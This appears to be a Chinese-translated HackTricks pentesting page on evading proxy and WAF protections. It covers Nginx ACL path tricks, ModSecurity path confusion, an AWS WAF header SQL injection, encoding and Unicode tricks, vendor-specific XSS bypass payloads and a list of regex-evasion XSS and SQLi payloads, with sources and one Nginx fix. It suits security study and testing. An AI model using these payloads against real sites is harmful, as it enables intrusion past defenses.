代理 / WAF 保护绕过
Reading time: 13 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
通过路径名操作绕过 Nginx ACL 规则
技术 来自这项研究。
Nginx 规则示例:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
为了防止绕过,Nginx 在检查路径之前执行路径规范化。然而,如果后端服务器执行不同的规范化(移除 Nginx 不移除的字符),可能会绕过此防御。
NodeJS - Express
Nginx 版本 | Node.js 绕过字符 |
---|---|
1.22.0 | \xA0 |
1.21.6 | \xA0 |
1.20.2 | \xA0 , \x09 , \x0C |
1.18.0 | \xA0 , \x09 , \x0C |
1.16.1 | \xA0 , \x09 , \x0C |
Flask
Nginx 版本 | Flask 绕过字符 |
---|---|
1.22.0 | \x85 , \xA0 |
1.21.6 | \x85 , \xA0 |
1.20.2 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.18.0 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.16.1 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
Spring Boot
Nginx 版本 | Spring Boot 绕过字符 |
---|---|
1.22.0 | ; |
1.21.6 | ; |
1.20.2 | \x09 , ; |
1.18.0 | \x09 , ; |
1.16.1 | \x09 , ; |
PHP-FPM
Nginx FPM 配置:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
Nginx 被配置为阻止对 /admin.php
的访问,但可以通过访问 /admin.php/index.php
来绕过此限制。
如何防止
location ~* ^/admin {
deny all;
}
绕过 Mod Security 规则
路径混淆
在这篇文章中 解释了 ModSecurity v3(直到 3.0.12)错误地实现了 REQUEST_FILENAME
变量,该变量本应包含访问的路径(直到参数开始)。这是因为它执行了 URL 解码以获取路径。
因此,像 http://example.com/foo%3f';alert(1);foo=
这样的请求在 mod security 中将认为路径只是 /foo
,因为 %3f
被转换为 ?
,结束了 URL 路径,但实际上服务器接收到的路径将是 /foo%3f';alert(1);foo=
。
变量 REQUEST_BASENAME
和 PATH_INFO
也受到此错误的影响。
在 Mod Security 的版本 2 中发生了类似的情况,允许绕过一种保护,该保护阻止用户访问与备份文件相关的特定扩展名的文件(例如 .bak
),只需通过发送点 URL 编码为 %2e
,例如:https://example.com/backup%2ebak
。
绕过 AWS WAF ACL
格式错误的头部
这项研究 提到可以通过发送一个“格式错误”的头部来绕过应用于 HTTP 头部的 AWS WAF 规则,该头部未被 AWS 正确解析,但被后端服务器解析。
例如,发送以下请求,在头部 X-Query 中包含 SQL 注入:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
可以绕过 AWS WAF,因为它无法理解下一行是头部值的一部分,而 NODEJS 服务器可以(这个问题已被修复)。
通用 WAF 绕过
请求大小限制
通常,WAF 对请求的长度有一定的限制,如果 POST/PUT/PATCH 请求超过该限制,WAF 将不会检查该请求。
- 对于 AWS WAF,您可以 查看文档:
可以检查的应用负载均衡器和 AWS AppSync 保护的 web 请求体的最大大小 | 8 KB |
可以检查的 CloudFront、API Gateway、Amazon Cognito、App Runner 和 Verified Access 保护的 web 请求体的最大大小** | 64 KB |
- 来自 Azure 文档:
较旧的 Web 应用防火墙使用核心规则集 3.1(或更低版本)允许大于 128 KB 的消息,通过关闭请求体检查,但这些消息不会被检查漏洞。对于较新版本(核心规则集 3.2 或更高版本),可以通过禁用最大请求体限制来实现。当请求超过大小限制时:
如果是 预防模式:记录并阻止请求。
如果是 检测模式:检查到限制,忽略其余部分,并在 Content-Length
超过限制时记录。
- 来自 Akamai:
默认情况下,WAF 仅检查请求的前 8KB。通过添加高级元数据,可以将限制提高到 128KB。
- 来自 Cloudflare:
最多 128KB。
混淆
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
Unicode 兼容性
根据 Unicode 规范化的实现(更多信息 here),共享 Unicode 兼容性的字符可能能够绕过 WAF 并作为预期的有效负载执行。兼容字符可以在 here 找到。
示例
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
绕过上下文 WAF 的编码
正如在 这篇博客文章 中提到的,为了绕过能够维护用户输入上下文的 WAF,我们可以利用 WAF 技术来实际规范化用户输入。
例如,在文章中提到 Akamai 对用户输入进行了 10 次 URL 解码。因此,像 <input/%2525252525252525253e/onfocus
这样的内容将被 Akamai 视为 <input/>/onfocus
,这 可能认为是可以的,因为标签是闭合的。然而,只要应用程序没有对输入进行 10 次 URL 解码,受害者将看到类似 <input/%25252525252525253e/onfocus
的内容,这 仍然有效用于 XSS 攻击。
因此,这允许在 WAF 将解码和解释的编码组件中 隐藏有效载荷,而受害者则看不到。
此外,这不仅可以通过 URL 编码的有效载荷来实现,还可以通过其他编码方式,如 unicode、hex、octal 等...
在文章中建议了以下最终绕过方法:
- Akamai:
akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
- Imperva:
imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
- AWS/Cloudfront:
docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
- Cloudflare:
cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">
还提到,根据 某些 WAF 如何理解用户输入的上下文,可能会存在滥用的可能性。博客中提出的例子是 Akamai 允许在 /*
和 */
之间放置任何内容(可能是因为这通常用作注释)。因此,像 /*'or sleep(5)-- -*/
这样的 SQL 注入将不会被捕获,并且是有效的,因为 /*
是注入的起始字符串,而 */
是注释。
这些上下文问题也可以用来 滥用其他比 WAF 预期的漏洞(例如,这也可以用来利用 XSS)。
H2C 走私
IP 轮换
- https://github.com/ustayready/fireprox: 生成一个 API 网关 URL 以供 ffuf 使用
- https://github.com/rootcathacking/catspin: 类似于 fireprox
- https://github.com/PortSwigger/ip-rotate: 使用 API 网关 IP 的 Burp Suite 插件
- https://github.com/fyoorer/ShadowClone: 根据输入文件大小和拆分因子动态确定的容器实例数量被激活,输入被拆分为多个块以进行并行执行,例如 100 个实例处理来自 10,000 行输入文件的 100 个块,拆分因子为 100 行。
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
正则表达式绕过
可以使用不同的技术来绕过防火墙上的正则表达式过滤器。示例包括交替大小写、添加换行符和编码有效载荷。各种绕过的资源可以在 PayloadsAllTheThings 和 OWASP 找到。以下示例来自 这篇文章。
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
工具
- nowafpls: Burp 插件,通过长度向请求添加垃圾数据以绕过 WAF
参考
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/
- https://www.youtube.com/watch?v=0OMmWtU2Y_g
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。